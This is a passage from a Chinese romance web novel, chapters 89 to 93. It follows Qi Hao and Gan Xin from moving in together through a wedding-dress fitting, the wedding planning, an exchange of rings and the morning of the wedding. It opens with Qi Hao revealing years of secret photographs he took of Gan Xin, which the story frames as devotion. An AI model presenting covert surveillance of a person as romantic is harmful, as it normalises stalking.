他按下了灯的开关,房间里瞬间亮了起来,甘歆被刺得闭起了眼睛,再睁开时……心脏都颤抖了。 大客厅里只有一张沙发,别的什么家具都没有,而整面墙上,都是她的照片。 这些照片还标记了时间,从十几年前,一直到他们在F大相遇的那年,不止有背影,还有些模糊的侧脸或者正面,甘歆咽了咽,有些衣服、有些地方,她自己都不记得了,奶奶家附近的环湖公园,晟宇公司楼下的绿地,父母家附近的超市…… 他真的跟了她很久。 齐灏低下了头,虽然从来独自欣赏、从未分享,即使现在他们已经密不可分,但在她面前剖白自己的这些“恶劣行为”,他依旧觉得自己不雅。 “对不起,我从未想过因为这些给你带来伤害。” 她知道,他指的是那两张背影,但她已经不想去追究了。 甘歆的指尖从十几年前的照片,一直捋到了三年前,连她自己都从未记录得这么仔细过。 她慢慢走到齐灏面前,轻轻抱住了他,“我有那么好吗?” 齐灏点了点头,也环过了她的肩,将她靠自己更近些,“不觉得我是变态、疯子吗?” “……为什么?” “只有他们才会这么做,躲在角落、用尽手段,将不会属于自己的东西侵蚀、占有、圈禁,”齐灏说这些话的时候颤抖了,“我这么做……你不害怕吗?” 甘歆轻轻笑了笑,“我怕你就不这么做了?” “……做得再隐蔽一点。” “没有想过放弃我吗?” 齐灏沉默了,刚刚虚搭的手臂用力将她拥在怀里,连说话的声音都变得有些沙哑,“每贴一张照片,我都告诉自己,不要再这么做了,但我忍不住……” “不要这么做,是放弃我的意思吗?” 他摇了摇头,“放弃让你知道我的心意,我从未想过放弃你。” 甘歆回拥了他,“谢谢你没有放弃让我知道,我现在很幸福,是因你而幸福的。” 齐灏吻了吻她的后颈,松开了拥抱,牵着甘歆的手进到了卧室,简洁到只有床和床头柜,她看到了那双高跟鞋……就这么放在床头柜上。 男人打横抱起了她,将她放置在床上,坐在床沿揉按着她的脚,话里都是歉意,“修好了,一直没机会给你,但现在穿着会不舒服吧。” “嗯……”甘歆收了脚回来,往前挪着抱住了齐灏,“你还 记得我们恋爱前,你答应我的事吗?” 他抚着甘歆的背,又蹭了两下脸,“记得啊,你让我做真实的自己。” “……你真实了吗,有委屈求全吗,有违背意志吗?”甘歆松开看着齐灏的眼睛,“不是只有你会担心,我也会,有的时候我怕你对我太好,用力过猛后就不持久了,我宁可你淡一点、久一点,我不想做烟花,我想做你的常青树。” 齐灏第一次听甘歆诉说着对自己的剖白,他以为只有自己患得患失,他以为只有自己担心会被厌倦,他捧起了甘歆的脸,如同虔诚的信徒捧着信仰,“对你好,是我的本能,只有对你好,我才能感觉到自己活着,你不是烟花,也不是常青树,你是我赖以生存的氧气,因为你我才有了骨血,我才有机会健康的、正常地出现在这个世界上,我永远不会背叛你,也无法背叛你,我会死,我认真的,没有你,我真的会死。” 一滴泪从眼眶滑落,掠过了捧着她脸的手,流到静脉处,涌进心脏,与空气和血液互相交融后,蒸腾出盐分,再消散在体温里。 他吻她吻得很轻、很慢。 像是试探,又像是在征求允许,他从来没这么耐心过,一寸寸地抿过甘歆的唇,近乎要将她的每一条唇纹都浸润,他顺着她的泪痕从下往上吻,从唇角,慢慢到眼眶,将牵挂在睫毛上的细密水珠都吻了下来。 她的唇、她的吻、她的心、她的名、她的命。 终于在与她相遇的15年后,完完全全托付给了自己。 只有深夜里高悬的月知道,他的等待是多么煎熬,他的努力是多么隐忍,他的表达是多么犹豫。 他无数次想象,他能够在这间屋子里,拥着深爱的她入眠。 真正实现的此刻,齐灏没有激动、没有兴奋、更无关情欲,他心里只有万万次侥幸。 侥幸,她对他不忍、不舍,有恻隐之心。 侥幸,她对他真实包容,感性也理性。 侥幸,她对他事事有考量,句句有回应。 怀里的人已经睡得迷糊,齐灏贪心,想再向她讨一个侥幸。 “我们办婚礼吧,好不好?” 甘歆轻轻“嗯”了一声,问问题的人倒是愣了愣,笑了。 他的女孩应该没听清,这么铺张的事,她总是要斟酌再三。 所以第二天甘歆醒来时,问齐灏打算什么时候办,他惊讶得都有些说不出话来。 “不办了吗?昨晚还说要办的。” “办,肯定办,你想怎么办?” 甘歆偷偷笑了下,再看向齐灏,对他眨了眨眼睛,回答得超大声。 “大办特办!” 齐灏也笑了。 他的女孩,真的好可爱。 第90章 第90章“老婆,叫我。” 和临江公寓的房东做了交接,甘歆看着屋子里这几年生活过的痕迹,多少有些不舍,齐罪昨天来的时候还说喜欢就买,被齐灏瞪了了,甘歆连带着阳阳都在一边笑。 他们准备了一些礼物,送到了17楼的赵老师那,赵老师见他们两个站在一起,竟然还咂了咂嘴说以前就觉得站在一起般配,齐灏是受用,甘歆差点没呛着,那会儿他才多大,还站在一起般配了。 “赵老师没把你教坏,挺不容易的。” 齐灏笑露了牙,“你怎么不说是我逼他的呢?” “来,说说,告诉姐姐,使了什么坏招?” “仗势欺人,客大欺店,”进了电梯,齐灏揽了甘歆进怀里,“也就你,从来不把我当一回事。” “我就是太把你当回事了,才不想跟你有瓜葛。” “晚咯,孩子都生好了。”齐灏捏了捏甘歆的脸。 她听着这意思不对,挑衅呢这是,“怎么,齐总终于打算去花丛里逛一逛了?” “我哪敢啊,家有老虎,还是两只。” 甘歆给了他一肘子,又给了他一个眼神,“男人啊,有的时候就是说得好听。” 齐灏咂摸了一下,觉得意思不太对,应该是有哪里让甘歆不满意了,细细向来,应该是那件事,可他刚想开口,就到了一楼,父母家人还在楼下等他们。 他牵起了甘歆的手,向他们走去。 也不知道齐罪什么时候弄来了辆七人座的车,正好把一大家子都带去临江的大平层,距离上次说正式要搬过来已经过去一个月了,这边重新购置了家电家具,三百平的五室三厅,将原本近乎空旷的屋子给布置满了。 在和齐灏的商量下,甘歆还是决定除了原来的住家阿姨外,再请个育儿嫂来,她还是想留更多的时间在自己身上,半年后重返晟宇是不会变的,也要早些适应才好,现在地方大,家里多两个人也不觉得什么。 墙上的照片是甘歆和齐灏一起,一张张地拿下来的,每张都拿得小心翼翼,他特意准备又准备了个相册的,里面有隔断页,整理下来,甘歆才发现,有两年她的照片特别少,她有些不明白,问齐灏他也支支吾吾地不肯说。 直到有天她打开了网盘,弹出了个提示,才知道那两年正好是在和前任们恋爱的时候……她一下子有些想笑,也有些触动。这个人,在那两年极大程度地保护了自己的隐私,也确实没有干涉过她的判断。 搬进来后,全家整整齐齐、热热闹闹地吃了顿饭,齐灏便安排人将父母送回市郊了,齐罪说自己就住在三公里外,不近不远,过来很快,有什么需要他来安排的随时说。 父子俩的体谅心一脉相承,甘歆还特意给齐罪买了个礼物送回去,谢谢他一直这么照顾,见礼物是根鱼竿和一些路亚饵,他差点没笑翻过去,还在甘歆爸爸面前嘚瑟,说儿媳妇实在是有心了。 齐灏将阳阳抱了起来,正打算带回房里哄睡,却被甘歆抱了过去,说她今晚约了小姐妹聊天,让阿姨陪着阳阳睡,齐灏便点了头,他向来尊重甘歆的所有决定。 这晚她洗澡洗得有些慢,在镜前仔仔细细地看了看自己的身体,剖腹产的疤痕没办法完全去除,还是有些小肚子的,头发好像也没有以前丰盈了,再看看腿……似乎也没恢复,她有些后悔上次答应齐灏少一个月了。 如果再多一点时间,说不定就能恢复得更好些。 想着这些的时候,她没意识到水声停了很久,直到齐灏不请自来地开了主卧洗手间的门,她惊了下,赶紧扯了浴巾裹在自己身上。 他是先洗了澡的,这会儿就穿着条灰色的宽松平角裤。齐灏很白,即使和甘歆相拥在一起,也没有非常明显的色差,他将甘歆拉了过来,抱起她坐在洗手台前的高脚凳上,然后拿出了吹风机,帮她把头发吹干。 在吹风机关停的那一秒,甘歆抬起的眼睛正好与镜中的齐灏视线相撞。 这一个月里,除了浅吻之外,两个人几乎没什么太多的亲密接触,白天齐灏上班、甘歆上课,夜里阳阳睡得早,大多时候有阿姨照顾,和他们睡的时候,半夜宝宝哭闹基本都是齐灏在照顾,他没有渴求、没有得寸进尺,更没有提及四个月的事儿。这难免让甘歆觉得有些奇怪,即使交流一如既往,她总觉得少了点什么。 甘歆心里明白,但她不好意思说。 况且她现在也有些吃不准这个弟弟的意思。 没等她的思绪回来,齐灏的鼻子 贴近了她的发,用力闻着,声音在浴室里都显得朦胧,“姐姐在等什么?” 甘歆愣了愣,摇了摇头,她决定先装个傻试试。 男人手从腰间向前楼住了她,他仍在吸闻的鼻尖从发丝游移到了耳边,吸气的声音一下扩大,甘歆打了个激灵,他又缱眷地问:“那怎么那么久。” “……没有很久。” 齐灏握住了甘歆的手,他的笑还是像20岁时候那样,像在听一个可爱的笑话,他微微用力在甘歆的脸上咬了一口,在她感到蛰痛的时候收了力,带着湿热在她的耳边轻语:“我很守信用的。” 她嘴角一弯,更用力地去推,却被箍紧了手腕。甘歆迷恋齐灏这么待她,好像自己被热潮包裹住了,心里泛起了陌生又熟悉的躁动,索性往后靠去,她碎散的中长发落到了男人的脸上,将所有发丝上的香气都往他身上扑去。 她被男人用力抱起,齐灏几乎是撞过去贴紧了她,手里的动作却是温柔的,像对待蛋糕上薄薄的锡纸般,将已经揉乱了的浴巾垫在了她背后的洗手台边。 他早在甘歆没注意的时候褪去了青涩与遮掩,她禁不住咽了咽。 吻又铺天盖地而来,她觉得好像全世界的花瓣都向她砸来了,心脏不受控制地跳动起来,他们肌肤相贴,齐灏还很小心地护着她的后腰不被硌着,他的身体太烫了,烫得甘歆忍不住去感受他的额头。 他们吻得愈发热烈,几乎想将埋藏了许久的想念和渴求通过这个吻来告诉对方,齐灏说出口的话还带着热气,灼得甘歆不得不与他对视,她又凑上去咬了他的下巴,她挑得他又凑上来要吻,她却步步后退,好像在惩罚他的隐忍,也在惩罚他曾经次次的独自承担与不坦白。 齐灏用直白的行动回应了她,他不常说,他的动作便是回答。 被爱人疯狂占有,身体和灵魂同时都像被灌满了热铅,烫得她脚趾都蜷缩了起来。 他左肩上已经有了三道齿痕,仔细看还有血珠子冒出来,她仰息了许久,他却不喊疼。 “我爱你,我爱你……我爱你!我爱你……我爱你,我爱你……” …… 甘歆被男人用被子裹成了球,放到了飘窗垫上,她只能从脖子这伸出手,将窗帘拉开一条缝,看窗外江边的灯。 只一会儿,齐灏就将床单换了,又把她抱进浴室里用热毛巾擦身,一边擦,还一边轻轻吻她,甘歆都懒得跟他生气了,胸腔里的气都感觉都被挤了出去。 她被男人搂在怀里,齐灏哄着她说爱,又说对不起,她实在抬不起手来打他了。 齐灏轻笑了一声,又落在她额头上一个吻,“姐姐好傻,我天天都想你,只是怕伤害你,也怕你辛苦。” 甘歆从鼻子里哼出一口气儿来,像极了嘴硬傲娇的白孔雀。 “我错啦,姐姐,下次我不忍啦。” 她好像终于缓过来些劲儿了,伸手朝着他胸口打了一下,又贴着齐灏的身子翻了个身,趴了上去感受他坚实的心跳,“你才傻。” 齐灏伸手刮了一下她的鼻子,又握住了她的手,思量再三,对甘歆说:“我一直想问,为什么让阳阳跟我姓?” “很意外吗?”甘歆不太想回答。 “有些意外,”齐灏说,“毕竟……你之前说你准备自己养,却愿意让她姓齐,我家……不怎么样,没有你家温暖。” “你一个人很孤独吧,”甘歆裹了裹被子,“长这么大,见过这么多人,却跟这个世界没什么联系,好像游离在世界之外。” 齐灏没有说话,静静地看着甘歆。 “我想让你……和这个世界的关联多一点,”甘歆对着齐灏笑了笑,手指轻轻戳了戳他的心口,“多一点,这里就暖和了。” “……”齐灏一时语塞,说不出话来,深邃的眼睛又成了小狗眼,满满的爱意要涌出来,“可那时候,我们还没——” “还没领证结婚?”甘歆不在意地笑了笑,“我又不图你什么,也有能力养好自己的孩子,没你我就没法过啦?你要待我不是真心,也真不负责任,我当然不会这样做,”她故意语气轻佻,齐灏提气想说话,甘歆没给他机会,“这么做……不是因为你是孩子的爸爸,而是因为我的选择。” “我……” “你小时候那些事……”甘歆靠在齐灏身上,越说越轻,都快睡着了,“辛苦你了……陪阳阳再长大一遍吧。” 这一夜甘歆睡得很沉,齐灏抱着她却睁眼到了天亮。 他都不敢放开手,即使到今天,他仍然后怕,这是一场会醒的梦。 90-98 第91章 第91章她终于愿意,以妻子的身份站…… 事实上,自从南城航站楼的项目重启,齐灏变得很忙,平时白天回她的消息都简短了,简单的一个“好”或者是“爱你”,这也不怪甘歆胡思乱想。 齐灏听了她的逻辑后,笑得很开心,他说有一种姐姐变妹妹的感觉,甘歆气不过,转过头去不理他了,他说这个行为也很像妹妹,哇……气得甘歆捏住了他的下巴,“非得对你凶点才是姐姐?” 他皱了皱鼻子,像小狗一样,又点点头,“可以再凶一点。” 好不容易捱到周末,今天齐罪来陪阳阳玩,齐灏嘱咐了几句后,就带甘歆出门了。 住在一起后,齐灏很少再让周泽开车,除非应酬喝了酒,有些不得不的情况,才会去喊汤大小姐的新晋男友来一趟,他跟甘歆哭诉唐满的霸道,不让没事开车之外,还不允许他换新的PA,不然就要从头和他聊乐园的投资比例。 甘歆听着好笑,看着身边开车的这个人,她可太懂唐满为什么这么做了,但她想,这是她们女孩子之间的秘密,还是别让男人知道得好,省得他们嘚瑟。 驱车不过十几分钟,他们停在了一家酒店门口,这让甘歆觉得有些惊讶,黄牌的迈巴赫扎眼,刚停下就有接待人员过来泊车,齐灏只报了个房号,就把要是给了对方。 “去酒店里?”她都怕了。 “不是,”他牵过了甘歆的手,“这是个商业综合体,酒店停车方便,我们去店里吧,已经约好时间了。” 他们走进了一家拥有巨大落地窗的两层楼婚纱店,经理早早就在门口候着了,将他们引进了店里,刚进门,就有一位中年外国人上前来与齐灏握手,齐灏先介绍了甘歆,再说了自己,简单到只说了自己的名字。 竟然是这家婚纱店的主理人,也是总设计师。 这位设计师来自立陶宛,那个图案和色彩都丰富的国家,他向他们先阐述了他们品牌的婚纱理念,再介绍了几款特别的主纱,齐灏却毫无气氛地关心起了婚纱的面料,得到了安全亲肤后,才点了点头。 甘歆听见了,没打断他,年纪轻轻,却总把这些挂在心上,好像她和阳阳是豆腐做的,一点儿都碰不得。 进了展示厅,齐灏便止住了脚步。 “你不进来一起选吗?”甘歆探了个脑袋问他。 “不进来了,”他抿着笑,“挑你喜欢的就好。” 她知道齐灏的意思,等着被惊喜呢,她大方,不跟他计较这些,专心挑起了婚纱来,经理给她量了尺寸,说她的比例好,店里的婚纱都能穿。 这是怀孕后第一个跟自己说身材好的外人,甘歆很高兴,选来选去,拿了三套拿不定主意,反复比对了后,都打算试一试。 试婚纱的流程冗长,店员需要先将她的头发扎好,盘起来,套上后还还需要调整夹夹子,才能便于店铺进行尺寸调整,她试了两套后觉得有些费时间,便对着外面喊了一声,“你要不要去外面买杯咖啡?” “你想喝咖啡吗?”齐灏立马就回应了她。 “齐太太,我们这边有咖啡的,稍后给您倒一杯来,是我们疏忽了。” 甘歆不是那个意思……她只是担心齐灏觉得有些无聊,她从门帘边探了个脑袋出来,趁着经理离开的时候问齐灏:“会不会等太久了?” 齐灏也往边上看了看,亲了她脸颊一口,“累了吗,要不下次再来?” “……我是怕你觉得麻烦。” “麻烦?”齐灏眼睛睁大了点,“等老婆穿婚纱麻烦?谁要嫁给这样的人啊。” 甘歆笑出了声,“你还真是妇女之友。” “少污蔑我啊,我可没有妇女朋友,我只有你这么个老婆。” “嘴真甜,”甘歆笑了笑,“还有一套要试,你再等等我。” “别急,又不赶时间,就是听说穿这 个挺麻烦的,你要是累了——” “没有女的会觉得试婚纱麻烦的,”甘歆打断了他,“我还有好几件想试呢。” “好,”齐灏也笑了,“那你慢慢试,试到允许我看的,我就来看,好不好?” “少跟我用这种话语气说话啊。” 齐灏用手指在嘴边做了个拉拉链的姿势。 其实甘歆也就试了三套,第四套比划了一下觉得新娘子得长一米八穿起来才好看,便放弃了。此时她身着包臀鱼尾长纱,头纱戴了个简易的,经理问她是否要请齐先生看看,她点了点头。 经理先走到了门边,按下了个按钮,原本平整的试衣间中凸起了个圆形摆台,经理请她上去,甘歆摇了摇头,她想自己走到齐灏的面前,经理识人,告诉甘歆遮挡帘的按钮在哪后知趣地退出了贵宾室。 她再三在镜子里确认了自己的模样,走到那个按钮边,摁了下去,遮挡帘缓缓拉开…… 首先落到齐灏眼里的,是一个空空的的圆形地台,正纳闷的时候,先看到了在地上的拖尾,珠光缎面的,在店铺的灯光下,显得还有些朦胧,视线向上,熟悉的腰臀比在婚纱的衬托下显得有些神圣,后背是大片的留白,直到脖颈处才环紧。 他的新娘就站在墙边,好像在鼓捣什么东西,长白手套这么白,怎么还是她的皮肤更亮,齐灏几乎控制不住地站起来往他的新娘身边走。 他的新娘。 这四个字,就足以让齐灏的内心擂鼓宣天。 等真正要接近她的时候,男人又不敢走了,反复确认这些年脑海里与她的经历是否是真的,还是他求而不得的妄想。 或许上天也被他的执念所感动,穿着婚纱的女孩儿转过了身来,看见他时一惊,又有点羞赧地低了低头,垂眸几秒后,又抬起头来,问出来的话都带着点藏不住的期待。 “好看吗?” 甘歆伸手摆弄了一下垂下来的头纱,见齐灏目不转睛,不像曾经一起逛街时那样认真反复看,她心里有些吃不准,又问了他一句,“好看吗?” 被询问的男人终于回国了神来,眨了两下眼睛,却发不出声音来。 “齐灏?” “嗯?” “好不好看?” 他点了点头,这才说出话,“好看。” “你都没认真看。” “认真看了,”齐灏的眼睛里好像起了层水汽,他长长的睫毛扇动了两下,清了清嗓子又说,“真的很好看,你好美。” 甘歆觉得,齐灏有点儿失魂了,好像无论她问什么,他说出的话都很苍白,一点都不像平日里能说会道的人,但他的眼神尤其浓烈,里面装的情绪好像会把她淹没。 这个男人好像定住了。 她不得不先握起他的手,凑过脸去对着他笑,“齐灏,我要嫁给你了。” 男人眼睛里的水汽终于积成了小小的水塘,在眼底氲成了小河,眼睑和睫毛终于承受不住重量,落下了清透的水痕,齐灏也跟着她一起笑了,笑得那么傻气、那么天真。 她的男孩好像被施了咒,身上的肌肉仿佛都不会动弹了,只有眼神还能追随,她不得不去拥抱他,汲取他周身始终不变的木香,她踮起脚尖,去吻他的下颚,再次告诉他,“齐灏,我要嫁给你了。” 甘歆可真担心他啊,同意他追的时候他流泪,愿意和他在一起时他晕倒,这会儿还会不会有更离谱的…… 她被抱住了,紧紧的。 齐灏像是突然被引力掀起的海洋一样,浪高数米,落到她肩膀上、身上,都是温润柔软的,他在她的颈间轻蹭,他突然失了语,把所有的爱意都融在了身体中,希望能通过紧贴的身体,抵达她的心里。 天空不语,爱如烈阳。 大海失声,情似巨浪。 我的爱意,因你燎原。 我的爱人,在我心上。 在没打算插足甘歆的人生前,齐灏觉得,眼泪是这个世界上最没用的东西,糖果已经掉在了地上,牛奶瓶也碎裂成了渣,对着门哭喊妈妈也不会回来…… 他觉得哭比任何锻炼都要费精神,每次流完泪都会犯困,但依旧有成堆、成堆的东西到自己面前,允许自己睡一小会儿的老师最后都不见了,留下来的,都会在自己没擦干眼泪之前就让自己继续的人。 后来他就不哭了,他以为这就是成熟。 成熟到有资格可以站在,一个比自己早来这个世界13年的人身边。 真正和她接触后,齐灏发现,有些情绪是控制不住的。 往日里一直听到的“少年老成、古井无波”突然都失了灵,他会着急、会生气、会紧张、会难过。 也会开心、会感动、会欣慰、会满足。 他被甘歆激出过不少眼泪,一开始齐灏还很惊讶甚至嫌恶,有这个功夫流泪,为什么不想想要说什么、做什么。 齐灏始终没想明白。 直到今天,穿着婚纱的新娘、他的新娘,站到他面前时,答案呼之欲出。 哭不是求,流泪也不是软弱。 是心里的情绪堆得太多,整个胸腔都满溢后,变成了实质,冒了出来。 是他在无言时最深刻的表达。 甘歆觉得齐灏不太对劲,想将他从身上剥离开来,试了两次都又被箍紧了,第三次,她学着齐灏的语气,也问他:“宝宝,让我看看你好不好?” 男人的魔法最终被用在了自己的身上,他的手慢慢松开。 甘歆从未在齐灏的脸上见过这样的表情,她以为婚礼本身并不是最重要的事,她已经是他的合法妻子,也与他养育了一个孩子,但此刻他沉着清俊的五官看起来那么脆弱,连流泪都一点声音都没有。 她好像明白了,为什么齐灏想要一个婚礼。 除了那些程序上的内容之外,也除了被外人认可之外。 是她,甘歆,终于愿意,在齐灏身边,以妻子的身份出现。 她揉了揉齐灏的头发,将他脸颊上的泪痕擦干。 甘歆对着齐灏依旧发红的眼睛,笑着轻声发问:“齐灏,我要嫁给你了,你愿意娶我吗?” 她的男孩、她的少年、她的男人、她的丈夫,郑重点头,终于说出了话。 “我愿意。” 第92章 第92章从此往后,他们以彼此为约束…… 婚礼交给齐罪来操办,是甘歆做过最正确的选择,之一。 自从搬来这里后,甘歆打算趁着休产假的时候备考个业内的职业资格证,白天除了陪阳阳之外,还需要看书学习。 齐灏更不用说了,现在每天早上八点不到就出门了,晚上八点才能到家,回来后和甘歆腻歪一会儿、再给闺女讲故事,办婚礼的事确实有心无力。 有一天齐罪来他们这儿蹭饭,甘歆心念一动,看了看齐灏,她的直觉告诉她,齐灏在和她想的是同一件事,她本来打算开口,却被齐灏截胡了。 但话从齐灏嘴里说出来,就没那么好听了,让他爸把这事办漂亮点,出个三五个方案给甘歆过目,齐罪一口饭咽下去,难得怼了他儿子一句,说他自己怎么没想法,齐灏对付他爸实在有一套,直言听老婆的,齐罪就不敢再多说什么了。 甘歆见他们父子俩越来越“融洽”,也不忍心打断。 隔天,齐罪真的带了两个人来,说是来调研一下儿媳妇的偏好,还夸下海口说半小时内绝对了解透彻她的需求,并且在今天就能定下方案来。 甘歆起先不信,她自己都不知道自己要什么,但随着齐罪深入的问题,慢慢对婚礼的期待有了雏形,她皱了皱眉看齐罪,他信心满满的样子,大手一挥就让旁边的人画草图。 她去给他们倒水的时候联系了下齐灏,说他爸可能没他说得这么不务正业,她在业内多年,调研这个过程有多水她心里清楚,齐罪三两句就摸清楚了,齐灏过了挺久才回复的她,说他爸最早是人力资源管理专业出身,是个人精,甘歆才笑出声。 一上午的时间,连草图都画好了, 手法过硬,她已经能想象婚礼现场是什么样了。 中午齐罪临走前,甘歆问打算在哪儿办,刚刚只说了现场的要求,没说地点,她有些好奇,齐罪大手一挥,说等等再说,她有点纳闷。 公公看儿媳妇,总是带着点儿不忍心,才给甘歆解释说明,说他儿子交代了大办特办,他得好好选几个地方给他们夫妻俩挑一挑。 后来拿到地点,甘歆差点没喷出来,到底是哪个全球巅峰论坛需要办大会,还搞什么四地联动,全球直播……这堪比春晚的规格实在是让她难评,连齐灏的脸都沉了下去,正说得眉飞色舞的齐罪见两人状态不对,才从备选方案里拿出了那栋老洋房。 “这是你妈妈选的房子,”齐罪说的时候还有些躲闪,好像擅自夹带了什么私货一样,“之前我们本来看好了这里,想着等你爷爷那边同意了,我们就搬出来,后来就……”齐罪一拍大腿,“反正后来我就买下来了,有人打扫,但没人住过,也有个挺大的草坪院子,你们要是不嫌弃的话……” “就这吧,”甘歆说,“就这里吧,爸。” 齐罪眨了眨眼睛,又去看齐灏,仿佛在等他儿子点头。 “嗯,就这里吧。” “……真的可以吗?不会觉得有什么不妥吗,毕竟她已经走了……我也不知道大哥大姐同不同意。” 甘歆笑了笑,假意责怪,“爸,有这么好的地方,你应该一早拿出来,怎么还等到最后。” 齐罪干笑了两下,“我怕扫你们兴,阿灏难得想弄得热闹些。” “家里人都在,就是最大的热闹了,”甘歆转过脸去面对齐灏,“就这里好吗?” 他的妻子为他着想,齐灏没有不点头的理由。 齐罪办事进度飞快,又一个月后,他说随时接受儿子和儿媳妇的考验,他们俩抽了一整天的空去看各项细节,甘歆处处感慨齐罪舍得花钱,连一向挑剔的齐灏都没挑出什么错处来。 到了晚上回到家,齐罪拿出了几个黄道吉日让他们选,甘歆不忙,等齐灏定,他选了个周日,甘歆有些意外。 “怎么不选周六?” 齐灏挑了挑眉,没说话,齐罪在旁边都压不住笑了。 “说啊,”甘歆戳了戳他,“周六大家都挺有时间的,晚上回去得晚第二天还能再休整,周天的话不会耽误人家第二天上班吗?” 齐灏舔了舔嘴唇不说,还把头偏过去了。 嘿,这什么意思,甘歆对着齐罪露出了个疑问脸,齐罪也不回答她,清了清嗓子说自己先去安排了,快速溜走了。 留了这么个疑问跟针似的杵着难受,她直起身子看了看阳阳和阿姨已经睡了,不管三七二十一,跨坐到了齐灏身上,掐着他的肩膀问:“不说打你了。” 齐灏又露出了些恶劣来,“用哪里打我?” “……哎哎,这可是客厅!” 他一把揽住了甘歆的腰,“都睡了,不碍事。” “听不懂你说什么……碍什么事……” 齐灏看着甘歆,眉毛又挑了挑,“嗯,周六也碍事。” 她可算明白他为什么选周日了,这个小男人怎么这么小气,连让别人多呆一会儿都不肯,她笑着戳了戳齐灏,“又不是第一次。” “婚礼后第一次也是第一次啊,第一次有很多定义嘛。” 看看,男人但凡聊到这种话题,总是花样百出,能言善辩。 齐灏捞着甘歆的腿就把她抱了起来,离开客厅时关了灯,回到了主卧,等把门用脚关上的时候,才贴到她耳边,故意压低了嗓子说:“老婆,洞房花烛夜,怎么好匀时间给别人。” “那你现在放我下来。” “……”齐灏沉默了两秒,就把甘歆扑到了床上,“现在我们先预演一下流程。” “……喂!啊你别……疼!下去……” 到底还是畅快排练了一场,甘歆睡醒了腰都痛,刷牙的时候手还捏成了拳头顶在那儿,被快出门的齐灏看见了,还贱兮兮地和她说晚上给她揉揉,她作势扬了一下手,人就立刻跑了。 几秒钟后又回来亲了亲她一嘴牙膏沫的唇,说流程忘走了。 甘歆无奈,二十来岁真是……精力旺盛。 她决定洞房花烛之前不让他碰了。 哎,这也顺着去想洞房花烛了,都是他带的。 婚礼前,还发生了件高兴的事,阳阳开始会发一些类似妈妈、爸爸的音节了。 这可把小夫妻俩乐坏了,见到她就有意识地诱导她发这两个音,有一回阳阳清晰地发出了类似“爸爸”的声音,齐灏激动得把她举起来玩飞飞了好久,还不断问甘歆,听见了吗听见了吗,她喊他爸爸了,然后带着女儿在家里转圈。 这哪是一大一小,俩小孩儿。 当天晚上甘歆告诉他,现在这个阶段的宝宝还只会发拟声词,不是真的叫他爸,又给他整得有些萎靡,平日里连表情都没有的齐总,窝在甘歆的怀里委屈得不像样,他说他都跟沈确炫耀了,这下尴尬了。 甘歆笑得不行,问他怎么还跟沈确炫耀。 齐灏说最近沈确骚操作不少,上次一起开会,沈确的手腕上有个粉紫色的圆圈,他越看越觉得这玩意阳阳可能会喜欢,就在会后问他是什么,结果人家说是小姑娘绑在他身上的乾坤圈,那个眼神,又是嘚瑟又是无奈,还带了点儿挑衅。 甘歆看躺在她肚子上的这张帅脸,又是羡慕又是嫉妒,清了清嗓子问:“你也想要啊?” 齐灏撇了下嘴,假装大度,“没有也没事。” “可我现在也不扎头发啊,上哪给你弄发圈去。” “没关系,我们用隐形的也行。” 甘歆好像闻到了一股茶香,笑得不行,把齐灏往外踢了踢,“边儿去,我要睡觉了。” 男人只好挪了挪身子,往旁边睡下。 甘歆开了个抽屉又合上了,再关了灯,就躺了下去,她向右摸索到了齐灏的左手,捉住后向着他侧卧,然后慢慢将刚刚从抽屉里拿的戒指,缓缓戴到了他的无名指上。 这一套动作完成,齐灏都没有什么特别的反应,直到她挠了挠他的手心,才被猛然捉住了手。 “皮筋儿我没有,这个乾坤圈,齐总满意吗?” 齐灏转过身来,眼睛在黑漆漆的房间里都有些发亮,“应该我来买的。” “……我知道你会买,但,”甘歆往他身上凑了凑,“我也想付出点什么,以后万一我们吵到要析产的时候,也不至于让你说什么都是你买的。” 他拥住了她,许久没有言语,叹了口气后才说:“你负我,我会原谅你,我负你,我不会原谅自己,我永远忠于你。” “为什么我负你你要原谅我?” “一定是我哪里不够好,所以你才要去寻求新的体验。” “你不会想要新的体验吗?” “……你在我身边的每一天,我都觉得非常完美,”齐灏见甘歆笑他,迅速抓紧了她的手,“我真心的。” “齐灏,”甘歆顺着他的手又往他怀里蹭了蹭,“外面的诱惑很多,对你对我都是,但我已经有了家,有了惦念,新鲜感……是当天的绿叶菜、是快餐,我是想酿酒的人,越久越香。决定是你了,就是期待你给我一辈子。” 他从未听说过甘歆说这样的情话,齐灏以前觉得,只要知道甘歆的心意,她说不说都没关系,但今天他得到了意外之喜,还是两重。 甘歆爱他,甘歆很爱他。 他终于肯定,也终于放心。 这是一种比有了孩子更深的情感羁绊。 “还有个戒指呢?” 甘歆将床头柜上的丝绒盒放到了齐灏的手里。 他没有直接拿出来,而是拿着去了飘窗那边,拉开了一小半窗帘,才打开了盒子,今晚江对面的建筑群熄了灯,只有莹莹的月光倾洒下来,落到银环上映出了一层光雾。 再仔细看,这个偏小的戒指内侧,有个小小的英文花体,是字母H,他立刻将自己手上的摘下来,放到亮处查阅,果然找到了X,齐灏满足地戴了回去,又在暖暖的被窝里为甘歆戴上戒指。 他们在被窝里十指紧扣。 从此往后,他们以彼此为约束。 第93章 第93章孩子,向前飞吧,也要记得回…… “老太婆,你不要弄你那个头发了,噢哟,很好看了呀!” “你懂什么!”甘歆妈回头,气不打一处来,“跟你说昨天晚上衬衫挂好不要叠,你看看,又褶起来了!” “捋一下就好了呀,”甘歆爸爸脑袋从阳台上收回来,“来了来了,小齐来了,你快去看看歆歆弄好了伐。” 甘歆坐在父母家自己房间的梳妆镜前无聊得抠手指,都已经和齐灏说了往后推一小时,还是六点就被喊起来做妆造,一□□完快九点,坐得她腰都僵了。 妈妈探了个脑袋进来,“小齐好像来了,你准备准备。” 她今年三十六岁,朋友大多已婚,有了小家庭后都疏于联络了,请伴娘多少有些为难,婚礼前她和齐灏浅浅提过一嘴,他把话记在了心里……现在,甘歆看着床上还呼呼大睡的一个千金、一个老总,简直哭笑不得。 她用脚踢了踢床架子,“醒醒了,人来了。” 唐满先醒过来,又拽了拽任婷,“上工了。” 甘歆清了清嗓子,“就走个流程,撑个场面就行。” “不行,”唐满首先拒绝,“齐灏答应了我的,说今天各凭本事,能抢到多少是多少。” 甘歆皱了皱眉,又去看任婷,任婷也点了点头,“他自己说的。” 没来得及问抢什么,就听到门口乌央乌央地传来了声儿,甘歆妈走到卧室门口,“啧,快坐到床上去,鞋子藏好了伐,”接着又被门口的声音吸引回过了头,喜气惹得她嗓门都大了起来,“噢哟,来了来了,上楼了!” 